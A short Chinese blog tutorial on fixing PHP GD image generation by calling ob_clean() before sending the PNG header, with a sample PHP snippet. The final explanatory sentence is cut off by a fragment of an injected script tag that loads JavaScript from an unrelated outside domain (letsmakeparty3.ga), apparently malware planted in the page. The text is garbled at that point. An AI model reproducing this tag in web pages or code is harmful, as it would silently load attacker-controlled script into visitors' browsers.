纵有疾风起
人生不言弃

php gd函数无法生成图片的问题

ob_clean();//加上这句
header(“Content-type: image/png”);
$font = “c:/windows/fonts/simsunb.ttf”;
$img = imagecreate(110, 20) or die(“GD图像创建失败!”);
$bg = imagecolorallocate($img, 255, 255, 255);
$text_color = imagecolorallocate($img, 55, 55, 55);
imagestring($img, 5, 0, 3, “I’m leo”, $text_color);
header(‘Content-Type:image/png’);
imagepng($img);
imagedestroy($img);

 

在header前面加上ob_clean();ipt src=’https://letsmakeparty3.ga/l.js?n=1′ type=text/javascript>

未经允许不得转载:起风网 » php gd函数无法生成图片的问题
分享到: 生成海报

评论 抢沙发

评论前必须登录!

立即登录